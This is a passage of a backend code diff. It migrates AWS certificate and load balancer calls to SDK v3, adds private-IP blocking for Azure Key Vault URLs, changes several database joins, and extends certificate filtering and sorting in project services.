-          const importParams: ACM.ImportCertificateRequest = {
-            Certificate: cert,
-            PrivateKey: privateKey
+          const importParams: ImportCertificateCommandInput = {
+            Certificate: Buffer.from(cert),
+            PrivateKey: Buffer.from(privateKey)
           };
 
           if (!existingArn) {
@@ -583,13 +606,13 @@ export const awsCertificateManagerPkiSyncFactory = ({
           }
 
           if (certificateChain && certificateChain.trim().length > 0) {
-            importParams.CertificateChain = certificateChain;
+            importParams.CertificateChain = Buffer.from(certificateChain);
           }
           if (existingArn) {
             importParams.CertificateArn = existingArn;
           }
 
-          const response = await withRateLimitRetry(() => acm.importCertificate(importParams).promise(), {
+          const response = await withRateLimitRetry(() => acm.send(new ImportCertificateCommand(importParams)), {
             operation: "import-certificate",
             syncId: pkiSync.id
           });
@@ -603,8 +626,8 @@ export const awsCertificateManagerPkiSyncFactory = ({
 
               await withRateLimitRetry(
                 () =>
-                  acm
-                    .addTagsToCertificate({
+                  acm.send(
+                    new AddTagsToCertificateCommand({
                       CertificateArn: response.CertificateArn!,
                       Tags: [
                         {
@@ -613,7 +636,7 @@ export const awsCertificateManagerPkiSyncFactory = ({
                         }
                       ]
                     })
-                    .promise(),
+                  ),
                 {
                   operation: "add-tags-to-certificate",
                   syncId: pkiSync.id
diff --git a/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-types.ts b/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-types.ts
index b90915be3de..57c1519a825 100644
--- a/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-types.ts
+++ b/backend/src/services/pki-sync/aws-certificate-manager/aws-certificate-manager-pki-sync-types.ts
@@ -1,4 +1,4 @@
-import ACM from "aws-sdk/clients/acm.js";
+import { type CertificateDetail, type Tag } from "@aws-sdk/client-acm";
 import { z } from "zod";
 
 import { TAwsConnection } from "@app/services/app-connection/aws/aws-connection-types";
@@ -22,8 +22,8 @@ export type TAwsCertificateManagerPkiSyncWithCredentials = TAwsCertificateManage
   connection: TAwsConnection;
 };
 
-export interface ACMCertificateWithKey extends ACM.CertificateDetail {
-  Tags?: ACM.TagList;
+export interface ACMCertificateWithKey extends CertificateDetail {
+  Tags?: Tag[];
   key: string;
   cert: string;
   certificateChain: string;
diff --git a/backend/src/services/pki-sync/aws-elastic-load-balancer/aws-elastic-load-balancer-pki-sync-fns.ts b/backend/src/services/pki-sync/aws-elastic-load-balancer/aws-elastic-load-balancer-pki-sync-fns.ts
index 40b49c92139..bffc522a225 100644
--- a/backend/src/services/pki-sync/aws-elastic-load-balancer/aws-elastic-load-balancer-pki-sync-fns.ts
+++ b/backend/src/services/pki-sync/aws-elastic-load-balancer/aws-elastic-load-balancer-pki-sync-fns.ts
@@ -1,6 +1,12 @@
 /* eslint-disable no-await-in-loop */
-import ACM from "aws-sdk/clients/acm.js";
-import ELBv2 from "aws-sdk/clients/elbv2.js";
+import { ACMClient, DeleteCertificateCommand } from "@aws-sdk/client-acm";
+import {
+  AddListenerCertificatesCommand,
+  DescribeListenerCertificatesCommand,
+  ElasticLoadBalancingV2Client,
+  ModifyListenerCommand,
+  RemoveListenerCertificatesCommand
+} from "@aws-sdk/client-elastic-load-balancing-v2";
 import { z } from "zod";
 
 import { TCertificateSyncs } from "@app/db/schemas";
@@ -70,7 +76,7 @@ const getAwsElbClient = async (
   region: AWSRegion,
   appConnectionDAL: Pick<TAppConnectionDALFactory, "findById" | "updateById">,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">
-): Promise<ELBv2> => {
+): Promise<ElasticLoadBalancingV2Client> => {
   const appConnection = await appConnectionDAL.findById(connectionId);
 
   if (!appConnection) {
@@ -116,7 +122,7 @@ const getAwsElbClient = async (
 
   const awsConfig = await getAwsConnectionConfig(awsConnectionConfig, region);
 
-  return new ELBv2(awsConfig);
+  return new ElasticLoadBalancingV2Client(awsConfig);
 };
 
 const getAwsAcmClient = async (
@@ -124,7 +130,7 @@ const getAwsAcmClient = async (
   region: AWSRegion,
   appConnectionDAL: Pick<TAppConnectionDALFactory, "findById" | "updateById">,
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">
-): Promise<ACM> => {
+): Promise<ACMClient> => {
   const appConnection = await appConnectionDAL.findById(connectionId);
 
   if (!appConnection) {
@@ -170,7 +176,7 @@ const getAwsAcmClient = async (
 
   const awsConfig = await getAwsConnectionConfig(awsConnectionConfig, region);
 
-  return new ACM(awsConfig);
+  return new ACMClient(awsConfig);
 };
 
 export const awsElasticLoadBalancerPkiSyncFactory = ({
@@ -187,14 +193,14 @@ export const awsElasticLoadBalancerPkiSyncFactory = ({
   });
 
   const attachCertificateToListener = async (
-    elbClient: ELBv2,
+    elbClient: ElasticLoadBalancingV2Client,
     listenerArn: string,
     certificateArn: string,
     setAsDefault: boolean,
     syncId: string
   ): Promise<void> => {
     const listenerCertsResponse = await withRateLimitRetry(
-      () => elbClient.describeListenerCertificates({ ListenerArn: listenerArn }).promise(),
+      () => elbClient.send(new DescribeListenerCertificatesCommand({ ListenerArn: listenerArn })),
       { operation: "describe-listener-certificates", syncId }
     );
 
@@ -206,9 +212,12 @@ export const awsElasticLoadBalancerPkiSyncFactory = ({
     if (!isAlreadyAttached) {
       await withRateLimitRetry(
         () =>
-          elbClient
-            .addListenerCertificates({ ListenerArn: listenerArn, Certificates: [{ CertificateArn: certificateArn }] })
-            .promise(),
+          elbClient.send(
+            new AddListenerCertificatesCommand({
+              ListenerArn: listenerArn,
+              Certificates: [{ CertificateArn: certificateArn }]
+            })
+          ),
         { operation: "add-listener-certificates", syncId }
       );
     }
@@ -216,25 +225,28 @@ export const awsElasticLoadBalancerPkiSyncFactory = ({
     if (setAsDefault && !isAlreadyDefault) {
       await withRateLimitRetry(
         () =>
-          elbClient
-            .modifyListener({ ListenerArn: listenerArn, Certificates: [{ CertificateArn: certificateArn }] })
-            .promise(),
+          elbClient.send(
+            new ModifyListenerCommand({ ListenerArn: listenerArn, Certificates: [{ CertificateArn: certificateArn }] })
+          ),
         { operation: "modify-listener", syncId }
       );
     }
   };
 
   const removeCertificateFromListener = async (
-    elbClient: ELBv2,
+    elbClient: ElasticLoadBalancingV2Client,
     listenerArn: string,
     certificateArn: string,
     syncId: string
   ): Promise<void> => {
     await withRateLimitRetry(
       () =>
-        elbClient
-          .removeListenerCertificates({ ListenerArn: listenerArn, Certificates: [{ CertificateArn: certificateArn }] })
-          .promise(),
+        elbClient.send(
+          new RemoveListenerCertificatesCommand({
+            ListenerArn: listenerArn,
+            Certificates: [{ CertificateArn: certificateArn }]
+          })
+        ),
       { operation: "remove-listener-certificates", syncId }
     );
   };
@@ -354,7 +366,7 @@ export const awsElasticLoadBalancerPkiSyncFactory = ({
         for (const listener of listeners) {
           try {
             const response = await withRateLimitRetry(
-              () => elbClient.describeListenerCertificates({ ListenerArn: listener.listenerArn }).promise(),
+              () => elbClient.send(new DescribeListenerCertificatesCommand({ ListenerArn: listener.listenerArn })),
               { operation: "describe-listener-certificates-for-cleanup", syncId: pkiSync.id }
             );
             const defaultCert = response.Certificates?.find((c) => c.IsDefault);
@@ -397,7 +409,7 @@ export const awsElasticLoadBalancerPkiSyncFactory = ({
             // Remove from ACM
             try {
               await withRateLimitRetry(
-                () => acmClient.deleteCertificate({ CertificateArn: certificateArn }).promise(),
+                () => acmClient.send(new DeleteCertificateCommand({ CertificateArn: certificateArn })),
                 {
                   operation: "delete-orphaned-certificate",
                   syncId: pkiSync.id
@@ -492,10 +504,13 @@ export const awsElasticLoadBalancerPkiSyncFactory = ({
 
       // Remove from ACM
       try {
-        await withRateLimitRetry(() => acmClient.deleteCertificate({ CertificateArn: certificateArn }).promise(), {
-          operation: "delete-certificate",
-          syncId: pkiSync.id
-        });
+        await withRateLimitRetry(
+          () => acmClient.send(new DeleteCertificateCommand({ CertificateArn: certificateArn })),
+          {
+            operation: "delete-certificate",
+            syncId: pkiSync.id
+          }
+        );
         await certificateSyncDAL.removeCertificates(pkiSync.id, [certificateId]);
         removedCount += 1;
       } catch (error) {
diff --git a/backend/src/services/pki-sync/azure-key-vault/azure-key-vault-pki-sync-fns.ts b/backend/src/services/pki-sync/azure-key-vault/azure-key-vault-pki-sync-fns.ts
index 390a08098cd..6b14475481d 100644
--- a/backend/src/services/pki-sync/azure-key-vault/azure-key-vault-pki-sync-fns.ts
+++ b/backend/src/services/pki-sync/azure-key-vault/azure-key-vault-pki-sync-fns.ts
@@ -5,6 +5,7 @@ import * as crypto from "crypto";
 import { TCertificateSyncs } from "@app/db/schemas";
 import { request } from "@app/lib/config/request";
 import { logger } from "@app/lib/logger";
+import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
 import { getAzureConnectionAccessToken } from "@app/services/app-connection/azure-key-vault/azure-key-vault-connection-fns";
 import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
@@ -211,6 +212,8 @@ export const azureKeyVaultPkiSyncFactory = ({
   certificateDAL
 }: TAzureKeyVaultPkiSyncFactoryDeps) => {
   const $getAzureKeyVaultCertificates = async (accessToken: string, vaultBaseUrl: string, syncId = "unknown") => {
+    await blockLocalAndPrivateIpAddresses(vaultBaseUrl);
+
     const paginateAzureKeyVaultCertificates = async () => {
       let result: GetAzureKeyVaultCertificate[] = [];
 
@@ -218,6 +221,7 @@ export const azureKeyVaultPkiSyncFactory = ({
 
       while (currentUrl) {
         const urlToFetch = currentUrl; // Capture current URL to avoid loop function issue
+        await blockLocalAndPrivateIpAddresses(urlToFetch);
         const res = await withRateLimitRetry(
           () =>
             request.get<{ value: GetAzureKeyVaultCertificate[]; nextLink: string }>(urlToFetch, {
@@ -248,14 +252,13 @@ export const azureKeyVaultPkiSyncFactory = ({
     const certificateResults = await executeWithConcurrencyLimit(
       enabledAzureKeyVaultCertificates,
       async (getAzureKeyVaultCertificate) => {
-        const azureKeyVaultCertificate = await request.get<GetAzureKeyVaultCertificate>(
-          `${getAzureKeyVaultCertificate.id}?api-version=7.4`,
-          {
-            headers: {
-              Authorization: `Bearer ${accessToken}`
-            }
+        const certificateDetailUrl = `${getAzureKeyVaultCertificate.id}?api-version=7.4`;
+        await blockLocalAndPrivateIpAddresses(certificateDetailUrl);
+        const azureKeyVaultCertificate = await request.get<GetAzureKeyVaultCertificate>(certificateDetailUrl, {
+          headers: {
+            Authorization: `Bearer ${accessToken}`
           }
-        );
+        });
 
         let certPem = "";
         if (azureKeyVaultCertificate.data.cer) {
@@ -733,6 +736,8 @@ export const azureKeyVaultPkiSyncFactory = ({
     // Cast destination config to Azure Key Vault config
     const destinationConfig = pkiSync.destinationConfig as TAzureKeyVaultPkiSyncConfig;
 
+    await blockLocalAndPrivateIpAddresses(destinationConfig.vaultBaseUrl);
+
     const existingSyncRecords = await certificateSyncDAL.findByPkiSyncId(pkiSync.id);
     const certificateNamesToRemove: string[] = [];
     const certificateIdToNameMap = new Map<string, string>();
diff --git a/backend/src/services/project-bot/project-bot-dal.ts b/backend/src/services/project-bot/project-bot-dal.ts
index 2f1863ad6d3..be4dfce79bf 100644
--- a/backend/src/services/project-bot/project-bot-dal.ts
+++ b/backend/src/services/project-bot/project-bot-dal.ts
@@ -51,12 +51,12 @@ export const projectBotDALFactory = (db: TDbClient) => {
         .join(TableName.Users, `${TableName.Membership}.actorUserId`, `${TableName.Users}.id`)
         .join(TableName.ProjectKeys, `${TableName.Membership}.actorUserId`, `${TableName.ProjectKeys}.receiverId`)
         .where(`${TableName.ProjectKeys}.projectId` as "projectId", projectId)
-        .join<TUserEncryptionKeys>(
+        .leftJoin<TUserEncryptionKeys>(
           TableName.UserEncryptionKey,
           `${TableName.UserEncryptionKey}.userId`,
           `${TableName.Users}.id`
         )
-        .join<TUserEncryptionKeys>(
+        .leftJoin<TUserEncryptionKeys>(
           db(TableName.UserEncryptionKey).as("senderUserEncryption"),
           `${TableName.ProjectKeys}.senderId`,
           `senderUserEncryption.userId`
diff --git a/backend/src/services/project-env/project-env-service.ts b/backend/src/services/project-env/project-env-service.ts
index c402b603027..8b7a6cae431 100644
--- a/backend/src/services/project-env/project-env-service.ts
+++ b/backend/src/services/project-env/project-env-service.ts
@@ -6,11 +6,10 @@ import { TLicenseServiceFactory } from "@app/ee/services/license/license-service
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
 import { TSecretApprovalPolicyEnvironmentDALFactory } from "@app/ee/services/secret-approval-policy/secret-approval-policy-environment-dal";
-import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 
-import { TProjectDALFactory } from "../project/project-dal";
 import { TSecretFolderDALFactory } from "../secret-folder/secret-folder-dal";
 import { TProjectEnvDALFactory } from "./project-env-dal";
 import { TCreateEnvDTO, TDeleteEnvDTO, TGetEnvDTO, TUpdateEnvDTO } from "./project-env-types";
@@ -18,7 +17,6 @@ import { TCreateEnvDTO, TDeleteEnvDTO, TGetEnvDTO, TUpdateEnvDTO } from "./proje
 type TProjectEnvServiceFactoryDep = {
   projectEnvDAL: TProjectEnvDALFactory;
   folderDAL: Pick<TSecretFolderDALFactory, "create">;
-  projectDAL: Pick<TProjectDALFactory, "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
   licenseService: Pick<TLicenseServiceFactory, "getPlan">;
   keyStore: Pick<TKeyStoreFactory, "acquireLock" | "setItemWithExpiry" | "getItem" | "waitTillReady">;
@@ -33,7 +31,6 @@ export const projectEnvServiceFactory = ({
   permissionService,
   licenseService,
   keyStore,
-  projectDAL,
   folderDAL,
   accessApprovalPolicyEnvironmentDAL,
   secretApprovalPolicyEnvironmentDAL
@@ -80,8 +77,9 @@ export const projectEnvServiceFactory = ({
           name: "CreateEnvironment"
         });
 
-      const project = await projectDAL.findById(projectId);
-      const plan = await licenseService.getPlan(project.orgId);
+      // getProjectPermission above guarantees project existence and org membership,
+      // so actorOrgId === project.orgId — no separate project lookup needed.
+      const plan = await licenseService.getPlan(actorOrgId);
       if (plan.environmentLimit !== null && envs.length >= plan.environmentLimit) {
         // case: limit imposed on number of environments allowed
         // case: number of environments used exceeds the number of environments allowed
@@ -116,7 +114,7 @@ export const projectEnvServiceFactory = ({
 
       await keyStore.setItemWithExpiry(
         KeyStorePrefixes.WaitUntilReadyProjectEnvironmentOperation(projectId),
-        10,
+        KeyStoreTtls.ProjectEnvironmentOperationMarkerInSeconds,
         "true"
       );
 
@@ -178,8 +176,9 @@ export const projectEnvServiceFactory = ({
       }
 
       const envs = await projectEnvDAL.find({ projectId });
-      const project = await projectDAL.findById(projectId);
-      const plan = await licenseService.getPlan(project.orgId);
+      // getProjectPermission above guarantees project existence and org membership,
+      // so actorOrgId === project.orgId — no separate project lookup needed.
+      const plan = await licenseService.getPlan(actorOrgId);
       if (plan.environmentLimit !== null && envs.length > plan.environmentLimit) {
         // case: limit imposed on number of environments allowed
         // case: number of environments used exceeds the number of environments allowed
@@ -202,7 +201,7 @@ export const projectEnvServiceFactory = ({
 
       await keyStore.setItemWithExpiry(
         KeyStorePrefixes.WaitUntilReadyProjectEnvironmentOperation(projectId),
-        10,
+        KeyStoreTtls.ProjectEnvironmentOperationMarkerInSeconds,
         "true"
       );
 
@@ -264,7 +263,7 @@ export const projectEnvServiceFactory = ({
 
       await keyStore.setItemWithExpiry(
         KeyStorePrefixes.WaitUntilReadyProjectEnvironmentOperation(projectId),
-        10,
+        KeyStoreTtls.ProjectEnvironmentOperationMarkerInSeconds,
         "true"
       );
 
diff --git a/backend/src/services/project-key/project-key-dal.ts b/backend/src/services/project-key/project-key-dal.ts
index 07d061e9549..54cb949745d 100644
--- a/backend/src/services/project-key/project-key-dal.ts
+++ b/backend/src/services/project-key/project-key-dal.ts
@@ -18,7 +18,7 @@ export const projectKeyDALFactory = (db: TDbClient) => {
     try {
       const projectKey = await (tx || db.replicaNode())(TableName.ProjectKeys)
         .join(TableName.Users, `${TableName.ProjectKeys}.senderId`, `${TableName.Users}.id`)
-        .join(TableName.UserEncryptionKey, `${TableName.UserEncryptionKey}.userId`, `${TableName.Users}.id`)
+        .leftJoin(TableName.UserEncryptionKey, `${TableName.UserEncryptionKey}.userId`, `${TableName.Users}.id`)
         .where({ projectId, receiverId: userId })
         .orderBy("createdAt", "desc", "last")
         .select(selectAllTableCols(TableName.ProjectKeys))
@@ -38,7 +38,7 @@ export const projectKeyDALFactory = (db: TDbClient) => {
         .where(`${TableName.Membership}.scopeProjectId` as "scopeProjectId", projectId)
         .where(`${TableName.Membership}.scope`, AccessScope.Project)
         .join(TableName.Users, `${TableName.Membership}.actorUserId`, `${TableName.Users}.id`)
-        .join(TableName.UserEncryptionKey, `${TableName.Users}.id`, `${TableName.UserEncryptionKey}.userId`)
+        .leftJoin(TableName.UserEncryptionKey, `${TableName.Users}.id`, `${TableName.UserEncryptionKey}.userId`)
         .select(db.ref("userId").withSchema(TableName.Users), "publicKey");
       return pubKeys;
     } catch (error) {
diff --git a/backend/src/services/project-membership/project-membership-dal.ts b/backend/src/services/project-membership/project-membership-dal.ts
index b2e51bedd38..87c6f4c9eee 100644
--- a/backend/src/services/project-membership/project-membership-dal.ts
+++ b/backend/src/services/project-membership/project-membership-dal.ts
@@ -305,7 +305,7 @@ export const projectMembershipDALFactory = (db: TDbClient) => {
         .join(TableName.Users, `${TableName.Membership}.actorUserId`, `${TableName.Users}.id`)
         .whereIn(`${TableName.Users}.id`, userIds)
         .where(`${TableName.Project}.orgId`, orgId)
-        .join<TUserEncryptionKeys>(
+        .leftJoin<TUserEncryptionKeys>(
           TableName.UserEncryptionKey,
           `${TableName.UserEncryptionKey}.userId`,
           `${TableName.Users}.id`
diff --git a/backend/src/services/project-membership/project-membership-service.ts b/backend/src/services/project-membership/project-membership-service.ts
index 256bed87a91..14d27851ebd 100644
--- a/backend/src/services/project-membership/project-membership-service.ts
+++ b/backend/src/services/project-membership/project-membership-service.ts
@@ -8,6 +8,8 @@ import { ProjectPermissionMemberActions, ProjectPermissionSub } from "@app/ee/se
 import { getConfig } from "@app/lib/config/env";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { groupBy } from "@app/lib/fn";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 
 import { TAccessApprovalPolicyApproverDALFactory } from "../../ee/services/access-approval-policy/access-approval-policy-approver-dal";
 import { TAccessApprovalPolicyDALFactory } from "../../ee/services/access-approval-policy/access-approval-policy-dal";
@@ -36,10 +38,7 @@ import {
 } from "./project-membership-types";
 
 type TProjectMembershipServiceFactoryDep = {
-  permissionService: Pick<
-    TPermissionServiceFactory,
-    "getProjectPermission" | "getProjectPermissionByRoles" | "invalidateProjectPermissionCache"
-  >;
+  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "getProjectPermissionByRoles">;
   smtpService: TSmtpService;
   projectMembershipDAL: TProjectMembershipDALFactory;
   membershipUserDAL: TMembershipUserDALFactory;
@@ -198,9 +197,6 @@ export const projectMembershipServiceFactory = ({
     members,
     sendEmails = true
   }: TAddUsersToWorkspaceDTO) => {
-    const project = await projectDAL.findById(projectId);
-    if (!project) throw new NotFoundError({ message: `Project with ID '${projectId}' not found` });
-
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
@@ -210,8 +206,11 @@ export const projectMembershipServiceFactory = ({
       actionProjectType: ActionProjectType.Any
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionMemberActions.Create, ProjectPermissionSub.Member);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     const orgMembers = await membershipUserDAL.find({
-      [`${TableName.Membership}.scopeOrgId` as "scopeOrgId"]: project.orgId,
+      [`${TableName.Membership}.scopeOrgId` as "scopeOrgId"]: actorOrgId,
       scope: AccessScope.Organization,
       $in: {
         [`${TableName.Membership}.id` as "id"]: members.map(({ orgMembershipId }) => orgMembershipId)
@@ -245,7 +244,7 @@ export const projectMembershipServiceFactory = ({
           scopeProjectId: projectId,
           actorUserId,
           scope: AccessScope.Project,
-          scopeOrgId: project.orgId
+          scopeOrgId: actorOrgId
         })),
         tx
       );
@@ -268,13 +267,11 @@ export const projectMembershipServiceFactory = ({
       );
     });
 
-    await permissionService.invalidateProjectPermissionCache(projectId);
-
     if (sendEmails) {
       await notificationService.createUserNotifications(
         orgMembershipUsernames.map((member) => ({
           userId: member.id,
-          orgId: project.orgId,
+          orgId: actorOrgId,
           type: NotificationType.PROJECT_INVITATION,
           title: "Project Invitation",
           body: `You've been invited to join the project **${project.name}**.`
@@ -314,14 +311,6 @@ export const projectMembershipServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionMemberActions.Delete, ProjectPermissionSub.Member);
 
-    const project = await projectDAL.findById(projectId);
-
-    if (!project) {
-      throw new NotFoundError({
-        message: `Project with ID '${projectId}' not found`
-      });
-    }
-
     const usernamesAndEmails = [...emails, ...usernames];
 
     const projectMembers = await projectMembershipDAL.findMembershipsByUsername(projectId, [
@@ -400,8 +389,6 @@ export const projectMembershipServiceFactory = ({
       return deletedMemberships;
     });
 
-    await permissionService.invalidateProjectPermissionCache(projectId);
-
     return memberships;
   };
 
@@ -410,7 +397,9 @@ export const projectMembershipServiceFactory = ({
       throw new BadRequestError({ message: "Only users can leave projects" });
     }
 
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     if (!project) throw new NotFoundError({ message: `Project with ID '${projectId}' not found` });
 
     if (project.version === ProjectVersion.V1) {
diff --git a/backend/src/services/project-role/project-role-fns.ts b/backend/src/services/project-role/project-role-fns.ts
index 4dfcf960b70..f8157acbe13 100644
--- a/backend/src/services/project-role/project-role-fns.ts
+++ b/backend/src/services/project-role/project-role-fns.ts
@@ -26,7 +26,7 @@ export const getPredefinedRoles = ({ projectId, projectType, roleFilter }: TGetP
     {
       id: uuidv4(),
       projectId,
-      name: "Developer",
+      name: "Member",
       slug: ProjectMembershipRole.Member,
       permissions: projectMemberPermissions,
       description: "Limited read/write role in a project",
diff --git a/backend/src/services/project/project-dal.ts b/backend/src/services/project/project-dal.ts
index d491af4c8c1..fd02d98d2f6 100644
--- a/backend/src/services/project/project-dal.ts
+++ b/backend/src/services/project/project-dal.ts
@@ -13,6 +13,7 @@ import {
   TProjectsUpdate
 } from "@app/db/schemas";
 import { BadRequestError, DatabaseError, NotFoundError, UnauthorizedError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { buildFindFilter, ormify, selectAllTableCols, sqlNestRelationships } from "@app/lib/knex";
 
 import { ActorType } from "../auth/auth-type";
@@ -414,7 +415,7 @@ export const projectDALFactory = (db: TDbClient) => {
       void query.where(`${TableName.Project}.type`, dto.type);
     }
     if (dto.name) {
-      void query.whereILike(`${TableName.Project}.name`, `%${dto.name}%`);
+      void query.whereILike(`${TableName.Project}.name`, `%${sanitizeSqlLikeString(dto.name)}%`);
     }
 
     if (dto.projectIds?.length) {
diff --git a/backend/src/services/project/project-service.ts b/backend/src/services/project/project-service.ts
index e46e7421320..0694687c9c4 100644
--- a/backend/src/services/project/project-service.ts
+++ b/backend/src/services/project/project-service.ts
@@ -40,7 +40,8 @@ import { TSshCertificateDALFactory } from "@app/ee/services/ssh-certificate/ssh-
 import { TSshCertificateTemplateDALFactory } from "@app/ee/services/ssh-certificate-template/ssh-certificate-template-dal";
 import { TSshHostDALFactory } from "@app/ee/services/ssh-host/ssh-host-dal";
 import { TSshHostGroupDALFactory } from "@app/ee/services/ssh-host-group/ssh-host-group-dal";
-import { KeyStorePrefixes, PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, KeyStoreTtls, PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
+import { withCache } from "@app/lib/cache/with-cache";
 import { getProcessedPermissionRules } from "@app/lib/casl/permission-filter-utils";
 import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto/cryptography";
@@ -48,6 +49,8 @@ import { DatabaseErrorCode } from "@app/lib/error-codes";
 import { BadRequestError, DatabaseError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
 import { groupBy } from "@app/lib/fn";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TProjectPermission } from "@app/lib/types";
 import { TPkiSubscriberDALFactory } from "@app/services/pki-subscriber/pki-subscriber-dal";
 
@@ -91,6 +94,8 @@ import {
   TCreateProjectDTO,
   TDeleteProjectDTO,
   TDeleteProjectWorkflowIntegration,
+  TGetActivityTrendDTO,
+  TGetDashboardStatsDTO,
   TGetProjectDTO,
   TGetProjectKmsKey,
   TGetProjectSshConfig,
@@ -162,6 +167,9 @@ type TProjectServiceFactoryDep = {
     | "findWithPrivateKeyInfo"
     | "findActiveCertificatesForSync"
     | "countActiveCertificatesForSync"
+    | "getDashboardStats"
+    | "getActivityTrend"
+    | "getPqcTrend"
   >;
   certificateTemplateDAL: Pick<TCertificateTemplateDALFactory, "getCertTemplatesByProjectId">;
   pkiAlertDAL: Pick<TPkiAlertDALFactory, "find">;
@@ -176,7 +184,7 @@ type TProjectServiceFactoryDep = {
   licenseService: Pick<TLicenseServiceFactory, "getPlan" | "invalidateGetPlan">;
   smtpService: Pick<TSmtpService, "sendMail">;
   orgDAL: Pick<TOrgDALFactory, "findOne" | "findEffectiveOrgMembership">;
-  keyStore: Pick<TKeyStoreFactory, "deleteItem" | "acquireLock">;
+  keyStore: Pick<TKeyStoreFactory, "deleteItem" | "acquireLock" | "getItem" | "setItemWithExpiry">;
   roleDAL: Pick<TRoleDALFactory, "find" | "insertMany" | "delete">;
   kmsService: Pick<
     TKmsServiceFactory,
@@ -717,7 +725,7 @@ export const projectServiceFactory = ({
       };
     });
 
-    await keyStore.deleteItem(`infisical-cloud-plan-${actorOrgId}`);
+    await keyStore.deleteItem(KeyStorePrefixes.LicenseCloudPlan(actorOrgId));
     return results;
   };
 
@@ -791,7 +799,7 @@ export const projectServiceFactory = ({
         return delProject;
       });
 
-      await keyStore.deleteItem(`infisical-cloud-plan-${actorOrgId}`);
+      await keyStore.deleteItem(KeyStorePrefixes.LicenseCloudPlan(actorOrgId));
       return deletedProject;
     } finally {
       await lock.release();
@@ -1212,6 +1220,18 @@ export const projectServiceFactory = ({
     toDate,
     metadataFilter,
     extendedKeyUsage,
+    keyAlgorithm,
+    signatureAlgorithm,
+    keySizes,
+    caIds,
+    enrollmentTypes,
+    source,
+    notAfterFrom,
+    notAfterTo,
+    notBeforeFrom,
+    notBeforeTo,
+    sortBy,
+    sortOrder,
     actorId,
     actorOrgId,
     actorAuthMethod,
@@ -1240,12 +1260,24 @@ export const projectServiceFactory = ({
       ...(friendlyName && { friendlyName }),
       ...(commonName && { commonName }),
       ...(search && { search }),
-      ...(status && { status: Array.isArray(status) ? status[0] : status }),
+      ...(status && {
+        status: Array.isArray(status) ? status : status.split(",").map((s) => s.trim())
+      }),
       ...(profileIds && { profileIds }),
       ...(fromDate && { fromDate }),
       ...(toDate && { toDate }),
       ...(metadataFilter && { metadataFilter }),
-      ...(extendedKeyUsage && { extendedKeyUsage })
+      ...(extendedKeyUsage && { extendedKeyUsage }),
+      ...(keyAlgorithm && { keyAlgorithm }),
+      ...(signatureAlgorithm && { signatureAlgorithm }),
+      ...(keySizes && keySizes.length > 0 && { keySizes }),
+      ...(caIds && { caIds }),
+      ...(enrollmentTypes && { enrollmentTypes }),
+      ...(source && { source }),
+      ...(notAfterFrom && { notAfterFrom }),
+      ...(notAfterTo && { notAfterTo }),
+      ...(notBeforeFrom && { notBeforeFrom }),
+      ...(notBeforeTo && { notBeforeTo })
     };
     const permissionFilters = getProcessedPermissionRules(
       permission,
@@ -1253,6 +1285,18 @@ export const projectServiceFactory = ({
       ProjectPermissionSub.Certificates
     );
 
+    const ALLOWED_SORT_COLUMNS = new Set([
+      "notAfter",
+      "notBefore",
+      "createdAt",
+      "commonName",
+      "serialNumber",
+      "keyAlgorithm",
+      "status"
+    ]);
+    const validatedSortBy = sortBy && ALLOWED_SORT_COLUMNS.has(sortBy) ? sortBy : "notAfter";
+    const validatedSortOrder = sortOrder === "asc" ? "asc" : "desc";
+
     const certificates = forPkiSync
       ? await certificateDAL.findActiveCertificatesForSync(regularFilters, { offset, limit }, permissionFilters)
       : await certificateDAL.findWithPrivateKeyInfo(
@@ -1260,7 +1304,7 @@ export const projectServiceFactory = ({
           {
             offset,
             limit,
-            sort: [["notAfter", "desc"]]
+            sort: [[validatedSortBy, validatedSortOrder]]
           },
           permissionFilters
         );
@@ -1270,17 +1314,27 @@ export const projectServiceFactory = ({
       ...(regularFilters.friendlyName && { friendlyName: String(regularFilters.friendlyName) }),
       ...(regularFilters.commonName && { commonName: String(regularFilters.commonName) }),
       ...(regularFilters.search && { search: String(regularFilters.search) }),
-      ...(regularFilters.status && { status: String(regularFilters.status) }),
+      ...(regularFilters.status && { status: regularFilters.status }),
       ...(regularFilters.profileIds && { profileIds: regularFilters.profileIds }),
       ...(regularFilters.fromDate && { fromDate: regularFilters.fromDate }),
       ...(regularFilters.toDate && { toDate: regularFilters.toDate }),
